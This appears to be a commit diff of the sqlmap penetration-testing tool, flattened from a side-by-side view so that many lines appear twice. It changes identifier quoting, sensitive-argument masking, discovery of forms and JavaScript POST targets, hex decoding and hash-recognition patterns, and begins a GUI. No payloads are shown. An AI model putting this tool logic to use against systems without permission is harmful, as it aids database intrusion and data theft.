>>> "openFile" in openFile(__file__).read() >>> "openFile" in openFile(__file__).read()
True True
>>> b"openFile" in openFile(__file__, "rb", None).read()
True
""" """
# Reference: https://stackoverflow.com/a/37462452
if 'b' in mode:
buffering = 0
if filename == STDIN_PIPE_DASH: if filename == STDIN_PIPE_DASH:
if filename not in kb.cache.content: if filename not in kb.cache.content:
kb.cache.content[filename] = sys.stdin.read() kb.cache.content[filename] = sys.stdin.read()
@@ -3567,16 +3617,20 @@ def decodeIntToUnicode(value):
try: try:
if value > 255: if value > 255:
_ = "%x" % value _ = "%x" % value
if len(_) % 2 == 1: if len(_) % 2 == 1:
_ = "0%s" % _ _ = "0%s" % _
raw = decodeHex(_) raw = decodeHex(_)
if Backend.isDbms(DBMS.MYSQL): if Backend.isDbms(DBMS.MYSQL):
# Reference: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord
# Note: https://github.com/sqlmapproject/sqlmap/issues/1531 # Note: https://github.com/sqlmapproject/sqlmap/issues/1531
retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING) retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
elif Backend.isDbms(DBMS.MSSQL): elif Backend.isDbms(DBMS.MSSQL):
# Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
retVal = getUnicode(raw, "UTF-16-BE") retVal = getUnicode(raw, "UTF-16-BE")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE): elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/)
retVal = _unichr(value) retVal = _unichr(value)
else: else:
retVal = getUnicode(raw, conf.encoding) retVal = getUnicode(raw, conf.encoding)
@@ -3662,7 +3716,7 @@ def getLatestRevision():
""" """
retVal = None retVal = None
req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py") req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py", headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()})
try: try:
content = getUnicode(_urllib.request.urlopen(req).read()) content = getUnicode(_urllib.request.urlopen(req).read())
@@ -3780,6 +3834,8 @@ def maskSensitiveData(msg):
>>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner' >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner'
True True
>>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index') == 'sqlmap.py -u **************************'
True
""" """
retVal = getUnicode(msg) retVal = getUnicode(msg)
@@ -3794,7 +3850,7 @@ def maskSensitiveData(msg):
retVal = retVal.replace(value, '*' * len(value)) retVal = retVal.replace(value, '*' * len(value))
# Just in case (for problematic parameters regarding user encoding) # Just in case (for problematic parameters regarding user encoding)
for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie|auth-\w+|proxy)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal): for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
# Fail-safe substitutions # Fail-safe substitutions
@@ -3994,6 +4050,14 @@ def safeSQLIdentificatorNaming(name, isTable=False):
Returns a safe representation of SQL identificator name (internal data format) Returns a safe representation of SQL identificator name (internal data format)
# Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal # Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal
>>> pushValue(kb.forcedDbms)
>>> kb.forcedDbms = DBMS.MSSQL
>>> getText(safeSQLIdentificatorNaming("begin"))
'[begin]'
>>> getText(safeSQLIdentificatorNaming("foobar"))
'foobar'
>>> kb.forceDbms = popValue()
""" """
retVal = name retVal = name
@@ -4008,9 +4072,9 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
retVal = unsafeSQLIdentificatorNaming(retVal) retVal = unsafeSQLIdentificatorNaming(retVal)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
retVal = "`%s`" % retVal retVal = "`%s`" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX): elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
retVal = "\"%s\"" % retVal retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = "\"%s\"" % retVal.upper() retVal = "\"%s\"" % retVal.upper()
@@ -4033,14 +4097,22 @@ def safeSQLIdentificatorNaming(name, isTable=False):
def unsafeSQLIdentificatorNaming(name): def unsafeSQLIdentificatorNaming(name):
""" """
Extracts identificator's name from its safe SQL representation Extracts identificator's name from its safe SQL representation
>>> pushValue(kb.forcedDbms)
>>> kb.forcedDbms = DBMS.MSSQL
>>> getText(unsafeSQLIdentificatorNaming("[begin]"))
'begin'
>>> getText(unsafeSQLIdentificatorNaming("foobar"))
'foobar'
>>> kb.forceDbms = popValue()
""" """
retVal = name retVal = name
if isinstance(name, six.string_types): if isinstance(name, six.string_types):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
retVal = name.replace("`", "") retVal = name.replace("`", "")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB): elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB):
retVal = name.replace("\"", "") retVal = name.replace("\"", "")
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = name.replace("\"", "").upper() retVal = name.replace("\"", "").upper()
@@ -4292,11 +4364,16 @@ def asciifyUrl(url, forceQuote=False):
if all(char in string.printable for char in url): if all(char in string.printable for char in url):
return getText(url) return getText(url)
hostname = parts.hostname
if isinstance(hostname, six.binary_type):
hostname = getUnicode(hostname)
# idna-encode domain # idna-encode domain
try: try:
hostname = parts.hostname.encode("idna") hostname = hostname.encode("idna")
except LookupError: except:
hostname = parts.hostname.encode("punycode") hostname = hostname.encode("punycode")
# UTF8-quote the other parts. We check each part individually if # UTF8-quote the other parts. We check each part individually if
# if needs to be quoted - that should catch some additional user # if needs to be quoted - that should catch some additional user
@@ -4393,9 +4470,9 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
try: try:
forms = ParseResponse(response, backwards_compat=False) forms = ParseResponse(response, backwards_compat=False)
except ParseError: except ParseError:
if re.search(r"(?i)<!DOCTYPE html|<html", content or ""): if re.search(r"(?i)<!DOCTYPE html|<html", content or "") and not re.search(r"(?i)\.js(\?|\Z)", url):
warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url dbgMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
logger.warning(warnMsg) logger.debug(dbgMsg)
filtered = _("".join(re.findall(FORM_SEARCH_REGEX, content)), url) filtered = _("".join(re.findall(FORM_SEARCH_REGEX, content)), url)
if filtered and filtered != content: if filtered and filtered != content:
@@ -4410,54 +4487,77 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
except: except:
pass pass
if forms: for form in forms or []:
for form in forms: try:
try: for control in form.controls:
for control in form.controls: if hasattr(control, "items") and not any((control.disabled, control.readonly)):
if hasattr(control, "items") and not any((control.disabled, control.readonly)): # if control has selectable items select first non-disabled
# if control has selectable items select first non-disabled for item in control.items:
for item in control.items: if not item.disabled:
if not item.disabled: if not item.selected:
if not item.selected: item.selected = True
item.selected = True break
break
if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""): if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
dbgMsg = "skipping '%s'" % form.action dbgMsg = "skipping '%s'" % form.action
logger.debug(dbgMsg) logger.debug(dbgMsg)
continue continue
request = form.click() request = form.click()
except (ValueError, TypeError) as ex: except (ValueError, TypeError) as ex:
errMsg = "there has been a problem while " errMsg = "there has been a problem while "
errMsg += "processing page forms ('%s')" % getSafeExString(ex) errMsg += "processing page forms ('%s')" % getSafeExString(ex)
if raise_: if raise_:
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
else: else:
url = urldecode(request.get_full_url(), kb.pageEncoding) logger.debug(errMsg)
method = request.get_method() else:
data = request.data url = urldecode(request.get_full_url(), kb.pageEncoding)
data = urldecode(data, kb.pageEncoding, spaceplus=False) method = request.get_method()
data = request.data
data = urldecode(data, kb.pageEncoding, spaceplus=False)
if not data and method and method.upper() == HTTPMETHOD.POST: if not data and method and method.upper() == HTTPMETHOD.POST:
debugMsg = "invalid POST form with blank data detected" debugMsg = "invalid POST form with blank data detected"
logger.debug(debugMsg) logger.debug(debugMsg)
continue continue
# flag to know if we are dealing with the same target host # flag to know if we are dealing with the same target host
_ = checkSameHost(response.geturl(), url) _ = checkSameHost(response.geturl(), url)
if conf.scope: if data:
if not re.search(conf.scope, url, re.I): data = data.lstrip("&=").rstrip('&')
continue
elif not _: if conf.scope and not re.search(conf.scope, url, re.I):
continue continue
else: elif data and not re.sub(r"(%s)=[^&]*&?" % '|'.join(IGNORE_PARAMETERS), "", data):
target = (url, method, data, conf.cookie, None) continue
retVal.add(target) elif not _:
else: continue
else:
target = (url, method, data, conf.cookie, None)
retVal.add(target)
for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content):
url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
data = ""
for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)):
data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER)
data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
for match in re.finditer(r"(?s)(\w+)\.open\(['\"]POST['\"],\s*['\"]([^'\"]+)['\"]\).*?\1\.send\(([^)]+)\)", content):
url = _urllib.parse.urljoin(url, htmlUnescape(match.group(2)))
data = match.group(3)
data = re.sub(r"\s*\+\s*[^\s'\"]+|[^\s'\"]+\s*\+\s*", "", data)
data = data.strip("['\"]")
retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
if not retVal and not conf.crawlDepth:
errMsg = "there were no forms found at the given target URL" errMsg = "there were no forms found at the given target URL"
if raise_: if raise_:
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
@@ -4658,18 +4758,19 @@ def decodeDbmsHexValue(value, raw=False):
else: else:
retVal = decodeHex(value) retVal = decodeHex(value)
if not kb.binaryField and not raw: if not raw:
if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): if not kb.binaryField:
try: if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
retVal = retVal.decode("utf-16-le") try:
except UnicodeDecodeError: retVal = retVal.decode("utf-16-le")
pass except UnicodeDecodeError:
pass
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2): elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
try: try:
retVal = retVal.decode("utf-16-be") retVal = retVal.decode("utf-16-be")
except UnicodeDecodeError: except UnicodeDecodeError:
pass pass
if not isinstance(retVal, six.text_type): if not isinstance(retVal, six.text_type):
retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING) retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING)
@@ -4823,7 +4924,7 @@ def prioritySortColumns(columns):
""" """
def _(column): def _(column):
return column and "id" in column.lower() return column and re.search(r"^id|id$", column, re.I) is not None
return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0)) return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0))
@@ -4881,7 +4982,6 @@ def zeroDepthSearch(expression, value):
elif expression[index] == ')': elif expression[index] == ')':
depth -= 1 depth -= 1
elif depth == 0: elif depth == 0:
found = False
if value.startswith('[') and value.endswith(']'): if value.startswith('[') and value.endswith(']'):
if re.search(value, expression[index:index + 1]): if re.search(value, expression[index:index + 1]):
retVal.append(index) retVal.append(index)
@@ -4970,7 +5070,7 @@ def parseRequestFile(reqFile, checkParams=True):
port, request = match.groups() port, request = match.groups()
try: try:
request = decodeBase64(request, binary=False) request = decodeBase64(request, binary=False)
except binascii.Error: except (binascii.Error, TypeError):
continue continue
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
if _: if _:
+2 -2
View File
@@ -13,6 +13,7 @@ import math
import os import os
import random import random
import sys import sys
import time
import uuid import uuid
class WichmannHill(random.Random): class WichmannHill(random.Random):
@@ -40,7 +41,6 @@ class WichmannHill(random.Random):
try: try:
a = int(binascii.hexlify(os.urandom(16)), 16) a = int(binascii.hexlify(os.urandom(16)), 16)
except NotImplementedError: except NotImplementedError:
import time
a = int(time.time() * 256) # use fractional seconds a = int(time.time() * 256) # use fractional seconds
if not isinstance(a, int): if not isinstance(a, int):
@@ -132,7 +132,6 @@ class WichmannHill(random.Random):
raise ValueError('seeds must be in range(0, 256)') raise ValueError('seeds must be in range(0, 256)')
if 0 == x == y == z: if 0 == x == y == z:
# Initialize from current time # Initialize from current time
import time
t = int(time.time() * 256) t = int(time.time() * 256)
t = int((t & 0xffffff) ^ (t >> 24)) t = int((t & 0xffffff) ^ (t >> 24))
t, x = divmod(t, 256) t, x = divmod(t, 256)
@@ -204,6 +203,7 @@ def round(x, d=0):
else: else:
return float(math.ceil((x * p) - 0.5)) / p return float(math.ceil((x * p) - 0.5)) / p
# Reference: https://code.activestate.com/recipes/576653-convert-a-cmp-function-to-a-key-function/
def cmp_to_key(mycmp): def cmp_to_key(mycmp):
"""Convert a cmp= function into a key= function""" """Convert a cmp= function into a key= function"""
class K(object): class K(object):
+35 -8
View File
@@ -31,6 +31,11 @@ from lib.core.settings import UNICODE_ENCODING
from thirdparty import six from thirdparty import six
from thirdparty.six import unichr as _unichr from thirdparty.six import unichr as _unichr
try:
from html import escape as htmlEscape
except ImportError:
from cgi import escape as htmlEscape
def base64pickle(value): def base64pickle(value):
""" """
Serializes (with pickle) and encodes to Base64 format supplied (binary) value Serializes (with pickle) and encodes to Base64 format supplied (binary) value
@@ -184,7 +189,7 @@ def encodeHex(value, binary=True):
return retVal return retVal
def decodeBase64(value, binary=True): def decodeBase64(value, binary=True, encoding=None):
""" """
Returns a decoded representation of provided Base64 value Returns a decoded representation of provided Base64 value
@@ -197,11 +202,11 @@ def decodeBase64(value, binary=True):
retVal = base64.b64decode(value) retVal = base64.b64decode(value)
if not binary: if not binary:
retVal = getText(retVal) retVal = getText(retVal, encoding)
return retVal return retVal
def encodeBase64(value, binary=True): def encodeBase64(value, binary=True, encoding=None):
""" """
Returns a decoded representation of provided Base64 value Returns a decoded representation of provided Base64 value
@@ -212,12 +217,12 @@ def encodeBase64(value, binary=True):
""" """
if isinstance(value, six.text_type): if isinstance(value, six.text_type):
value = value.encode(UNICODE_ENCODING) value = value.encode(encoding or UNICODE_ENCODING)
retVal = base64.b64encode(value) retVal = base64.b64encode(value)
if not binary: if not binary:
retVal = getText(retVal) retVal = getText(retVal, encoding)
return retVal return retVal
@@ -231,6 +236,11 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
retVal = value retVal = value
try:
codecs.lookup(encoding)
except LookupError:
encoding = UNICODE_ENCODING
if isinstance(value, six.text_type): if isinstance(value, six.text_type):
if INVALID_UNICODE_PRIVATE_AREA: if INVALID_UNICODE_PRIVATE_AREA:
if unsafe: if unsafe:
@@ -263,7 +273,7 @@ def getOrds(value):
def getUnicode(value, encoding=None, noneToNull=False): def getUnicode(value, encoding=None, noneToNull=False):
""" """
Return the unicode representation of the supplied value: Returns the unicode representation of the supplied value
>>> getUnicode('test') == u'test' >>> getUnicode('test') == u'test'
True True
@@ -305,7 +315,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
except UnicodeDecodeError: except UnicodeDecodeError:
return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances
def getText(value): def getText(value, encoding=None):
""" """
Returns textual value of a given value (Note: not necessary Unicode on Python2) Returns textual value of a given value (Note: not necessary Unicode on Python2)
@@ -318,7 +328,7 @@ def getText(value):
retVal = value retVal = value
if isinstance(value, six.binary_type): if isinstance(value, six.binary_type):
retVal = getUnicode(value) retVal = getUnicode(value, encoding)
if six.PY2: if six.PY2:
try: try:
@@ -375,3 +385,20 @@ def stdoutEncode(value):
retVal = value retVal = value
return retVal return retVal
def getConsoleLength(value):
"""
Returns console width of unicode values
>>> getConsoleLength("abc")
3
>>> getConsoleLength(u"\\u957f\\u6c5f")
4
"""
if isinstance(value, six.text_type):
retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value)
else:
retVal = len(value)
return retVal
+1 -1
View File
@@ -85,7 +85,7 @@ def lockedmethod(f):
@functools.wraps(f) @functools.wraps(f)
def _(*args, **kwargs): def _(*args, **kwargs):
if f not in _method_locks: if f not in _method_locks:
_method_locks[f] = threading.Lock() _method_locks[f] = threading.RLock()
with _method_locks[f]: with _method_locks[f]:
result = f(*args, **kwargs) result = f(*args, **kwargs)
+1
View File
@@ -20,6 +20,7 @@ _defaults = {
"level": 1, "level": 1,
"risk": 1, "risk": 1,
"dumpFormat": "CSV", "dumpFormat": "CSV",
"tablePrefix": "sqlmap",
"technique": "BEUSTQ", "technique": "BEUSTQ",
"torType": "SOCKS5", "torType": "SOCKS5",
} }
+25 -25
View File
@@ -13,7 +13,6 @@ import shutil
import tempfile import tempfile
import threading import threading
from extra.safe2bin.safe2bin import safechardecode
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import checkFile from lib.core.common import checkFile
from lib.core.common import dataToDumpFile from lib.core.common import dataToDumpFile
@@ -29,8 +28,10 @@ from lib.core.common import safeCSValue
from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.compat import xrange from lib.core.compat import xrange
from lib.core.convert import getBytes from lib.core.convert import getBytes
from lib.core.convert import getConsoleLength
from lib.core.convert import getText from lib.core.convert import getText
from lib.core.convert import getUnicode from lib.core.convert import getUnicode
from lib.core.convert import htmlEscape
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@@ -53,6 +54,7 @@ from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
from lib.core.settings import VERSION_STRING from lib.core.settings import VERSION_STRING
from lib.core.settings import WINDOWS_RESERVED_NAMES from lib.core.settings import WINDOWS_RESERVED_NAMES
from lib.utils.safe2bin import safechardecode
from thirdparty import six from thirdparty import six
from thirdparty.magic import magic from thirdparty.magic import magic
@@ -136,8 +138,6 @@ class Dump(object):
self._write("%s:\n---\n%s\n---" % (header, _)) self._write("%s:\n---\n%s\n---" % (header, _))
else: else:
self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _)) self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _))
else:
self._write("%s:\tNone" % header)
def lister(self, header, elements, content_type=None, sort=True): def lister(self, header, elements, content_type=None, sort=True):
if elements and sort: if elements and sort:
@@ -197,7 +197,7 @@ class Dump(object):
self._areAdmins = userSettings[1] self._areAdmins = userSettings[1]
userSettings = userSettings[0] userSettings = userSettings[0]
users = list(userSettings.keys()) users = [_ for _ in userSettings.keys() if _ is not None]
users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
if conf.api: if conf.api:
@@ -245,7 +245,7 @@ class Dump(object):
if table and isListLike(table): if table and isListLike(table):
table = table[0] table = table[0]
maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or getUnicode(table)))) maxlength = max(maxlength, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table))))
lines = "-" * (int(maxlength) + 2) lines = "-" * (int(maxlength) + 2)
@@ -266,7 +266,7 @@ class Dump(object):
table = table[0] table = table[0]
table = unsafeSQLIdentificatorNaming(table) table = unsafeSQLIdentificatorNaming(table)
blank = " " * (maxlength - len(normalizeUnicode(table) or getUnicode(table))) blank = " " * (maxlength - getConsoleLength(getUnicode(table)))
self._write("| %s%s |" % (table, blank)) self._write("| %s%s |" % (table, blank))
self._write("+%s+\n" % lines) self._write("+%s+\n" % lines)
@@ -361,7 +361,7 @@ class Dump(object):
for ctables in dbTables.values(): for ctables in dbTables.values():
for tables in ctables.values(): for tables in ctables.values():
for table in tables: for table in tables:
maxlength1 = max(maxlength1, len(normalizeUnicode(table) or getUnicode(table))) maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table)))
for db, counts in dbTables.items(): for db, counts in dbTables.items():
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database") self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
@@ -387,7 +387,7 @@ class Dump(object):
tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
for table in tables: for table in tables:
blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or getUnicode(table))) blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table)))
blank2 = " " * (maxlength2 - len(str(count))) blank2 = " " * (maxlength2 - len(str(count)))
self._write("| %s%s | %d%s |" % (table, blank1, count, blank2)) self._write("| %s%s | %d%s |" % (table, blank1, count, blank2))
@@ -547,7 +547,7 @@ class Dump(object):
column = unsafeSQLIdentificatorNaming(column) column = unsafeSQLIdentificatorNaming(column)
maxlength = int(info["length"]) maxlength = int(info["length"])
blank = " " * (maxlength - len(column)) blank = " " * (maxlength - getConsoleLength(column))
self._write("| %s%s" % (column, blank), newline=False) self._write("| %s%s" % (column, blank), newline=False)
@@ -558,7 +558,7 @@ class Dump(object):
else: else:
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
elif conf.dumpFormat == DUMP_FORMAT.HTML: elif conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(cgi.escape(column).encode("ascii", "xmlcharrefreplace"))) dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))
field += 1 field += 1
@@ -602,7 +602,7 @@ class Dump(object):
values.append(value) values.append(value)
maxlength = int(info["length"]) maxlength = int(info["length"])
blank = " " * (maxlength - len(value)) blank = " " * (maxlength - getConsoleLength(value))
self._write("| %s%s" % (value, blank), newline=False, console=console) self._write("| %s%s" % (value, blank), newline=False, console=console)
if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
@@ -630,7 +630,7 @@ class Dump(object):
else: else:
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
elif conf.dumpFormat == DUMP_FORMAT.HTML: elif conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(cgi.escape(value).encode("ascii", "xmlcharrefreplace"))) dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
field += 1 field += 1
@@ -676,28 +676,28 @@ class Dump(object):
else: else:
colConsiderStr = " '%s' was" % unsafeSQLIdentificatorNaming(column) colConsiderStr = " '%s' was" % unsafeSQLIdentificatorNaming(column)
msg = "column%s found in the " % colConsiderStr found = {}
msg += "following databases:"
self._write(msg)
_ = {}
for db, tblData in dbs.items(): for db, tblData in dbs.items():
for tbl, colData in tblData.items(): for tbl, colData in tblData.items():
for col, dataType in colData.items(): for col, dataType in colData.items():
if column.lower() in col.lower(): if column.lower() in col.lower():
if db in _: if db in found:
if tbl in _[db]: if tbl in found[db]:
_[db][tbl][col] = dataType found[db][tbl][col] = dataType
else: else:
_[db][tbl] = {col: dataType} found[db][tbl] = {col: dataType}
else: else:
_[db] = {} found[db] = {}
_[db][tbl] = {col: dataType} found[db][tbl] = {col: dataType}
continue continue
self.dbTableColumns(_) if found:
msg = "column%s found in the " % colConsiderStr
msg += "following databases:"
self._write(msg)
self.dbTableColumns(found)
def sqlQuery(self, query, queryRes): def sqlQuery(self, query, queryRes):
self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY) self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY)
+6 -6
View File
@@ -130,12 +130,12 @@ class HASH(object):
MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z' MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z'
ORACLE = r'(?i)\As:[0-9a-f]{60}\Z' ORACLE = r'(?i)\As:[0-9a-f]{60}\Z'
ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z' ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z'
MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z' MD5_GENERIC = r'(?i)\A(0x)?[0-9a-f]{32}\Z'
SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z' SHA1_GENERIC = r'(?i)\A(0x)?[0-9a-f]{40}\Z'
SHA224_GENERIC = r'(?i)\A[0-9a-f]{56}\Z' SHA224_GENERIC = r'(?i)\A[0-9a-f]{56}\Z'
SHA256_GENERIC = r'(?i)\A[0-9a-f]{64}\Z' SHA256_GENERIC = r'(?i)\A(0x)?[0-9a-f]{64}\Z'
SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z' SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z'
SHA512_GENERIC = r'(?i)\A[0-9a-f]{128}\Z' SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z' WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z'
@@ -244,8 +244,8 @@ class HASHDB_KEYS(object):
OS = "OS" OS = "OS"
class REDIRECTION(object): class REDIRECTION(object):
YES = "Y" YES = 'Y'
NO = "N" NO = 'N'
class PAYLOAD(object): class PAYLOAD(object):
SQLINJECTION = { SQLINJECTION = {
+265
View File
@@ -0,0 +1,265 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
import socket
import subprocess
import sys
import threading
import webbrowser
from lib.core.common import getSafeExString
from lib.core.defaults import defaults
from lib.core.exception import SqlmapMissingDependence
from lib.core.settings import DEV_EMAIL_ADDRESS
from lib.core.settings import ISSUES_PAGE
from lib.core.settings import GIT_PAGE
from lib.core.settings import SITE
from lib.core.settings import VERSION_STRING
from lib.core.settings import WIKI_PAGE
from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox
from thirdparty.six.moves import queue as _queue
line = ""
process = None
queue = None
def runGui(parser):
try:
import tkinter
import tkinter.scrolledtext
import tkinter.ttk
except ImportError as ex:
raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex))
# Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x
class ConstrainedEntry(tkinter.Entry):
